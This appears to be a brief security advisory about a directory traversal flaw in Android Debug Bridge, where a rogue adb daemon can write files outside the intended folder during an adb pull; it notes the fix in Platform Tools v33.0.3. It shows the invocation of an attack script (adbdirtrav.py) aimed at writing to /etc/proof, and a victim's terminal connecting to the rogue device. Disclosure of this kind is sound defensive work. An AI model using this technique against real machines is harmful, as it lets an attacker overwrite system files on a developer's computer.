Android Debug Bridge (adb) was vulnerable to directory traversal attacks that could have been mounted by rogue/compromised adb daemons during an adb pull operation.
The rogue device:
./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof
The victim:
root@eedd4cb8b202:/tmp/platform-tools# cat /etc/proof
cat: /etc/proof: No such file or directory
root@eedd4cb8b202:/tmp/platform-tools# ./adb connect 10.6.8.145:5111
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 10.6.8.145:5111

This was fixed in Platform Tools v33.0.3.
